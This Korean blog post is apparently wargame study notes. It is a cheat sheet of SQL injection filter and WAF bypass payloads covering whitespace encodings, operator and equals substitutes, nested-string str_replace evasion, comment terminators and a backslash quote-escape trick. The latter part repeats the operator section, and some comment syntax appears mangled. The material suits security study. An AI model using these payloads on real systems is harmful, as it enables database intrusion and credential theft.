카테고리 없음
Sql Injection Bypass WAF
Clelstyn256
2023. 12. 4. 09:22
1. 공백 문자 우회
1) Line Feed (\n)
- 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자
- URL Encoding: %0a
- ex) no=1%0aor%0aid='admin'
2) Tab (\t)
- 커서를 한 tab만큼 이동시키는 문자
- URL Encoding: %09
- ex) no=1%09or%09id='admin'
3) Carrage Return (\r)
- 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자
- URL Encoding: %0d
- ex) no=1%0dor%0did='admin'
4) 주석 (//)**
- ex) no=1//or//id='admin'
5) 괄호 ()
- ex) no=(1)or(id='admin')
6) 더하기 (+)
- ex) no=1+or+id='admin'
7) %0b, %0c, %a0
- 1~6까지의 모든 우회 방법이 먹히지 않을 경우 공백 대신 사용
- %a0은 잘 안먹히는 것 같으니 %0b나 %0c를 위주로 사용하자.
2. 논리 연산자, 비교 연산자 우회
1) OR 연산자
- ||
2) AND 연산자
- &&
- URL Encoding: %26%26
3) 등호(=)
① LIKE 연산자
- ex) id like "admin"
- 정규 표현식을 이용하여 쿼리문을 조작할 수도 있음 (ex. pw like "a%" → pw의 첫 번째 문자가 a이면 true)
② IN 연산자
- ex) id in ("admin")
③ instr(string $str, string $substr)
- ex) instr(id, "admin")
④ 부등호 (< , >)
- ex) length(pw) > 7 and length(pw) < 9
3. 함수 우회
1) str_replace(string $search, string $replace, string $subject)
- 필터링되는 문자열 사이에 문자열을 넣는다.
- ex) str_replace("admin", "", $_GET[id])
→ adadminmin 으로 입력하면 중간에 있는 admin이 공백으로 필터링되어 admin만 남게 된다.
2) substr(string $str, int $start, int $length)
- substring(string $str, int $start, int $length)
- mid(string $str, int $start, int $length)
3) ascii(string $str)
- ord(string $str): ascii 함수와 마찬가지로 문자열을 아스키코드 값으로 변환해줌
- hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌
ex) hex(substr(pw, 1, 1)) = hex(61)
4. 주석 처리
① --
- 뒤에 반드시 공백이 있어야 정상적으로 주석 처리가 된다.
- 한 줄만 주석처리한다.
② # (URL Encoding: %23)
- '--'처럼 뒤에 공백이 없어도 정상적으로 주석 처리된다.
- 한 줄만 주석 처리한다.
③ / /
- /* */ 사이의 문자열들이 모두 주석 처리된다.
④ ;%00
- NULL 문자인 %00과 ;이 결합한 주석 처리 문자
5. 싱글 쿼터(') 우회
1) 더블 쿼터(") 사용
ex) id="admin"
2) 백슬래시(\) 사용
- select id from table where id='$_GET[id]' and pw='$_GET[pw]' 와 같은 쿼리문에 제한적으로 사용 가능
- ex) id='\' and pw=' or 1#' → \에 의해 바로 뒤에 있는 싱글쿼터(')가 문자로 인식됨
☞ **'\' and pw'**가 문자열로 인식되고 이 뒷부분부터는 쿼리문으로 인식됨
☞ 인자 전달: id=\&pw=%20or%201%23
첫 번째 - AND
1) &&
- url encoding: %26%26
두 번째 - OR
1) ||
세 번째 - 등호(=)
1) like 연산자
- 등호랑 똑같이 사용
- 추가로 pw like "a%", "%a%" , "%a" 와 같이 쿼리문에서 응용가능하다.
a가 해당 문자열 안에 있어도 참으로 반환
(순서대로 첫번째 문자가 a일 때, 문자열 안에 a가 들어있을 때, 마지막 문자가 a일 때)
2) in 연산자
- 등호 대신 in을 사용하고 ()를 사용하여 표현한다.
- ex) pw in ("1234")
3) instr 함수
- ex) instr(id,"admin")
4) 부등호 (< , >)
- 등호 대신 등식으로 표현
- ex) length(pw) = 8 ---> length(pw) > 7 and length(pw) <9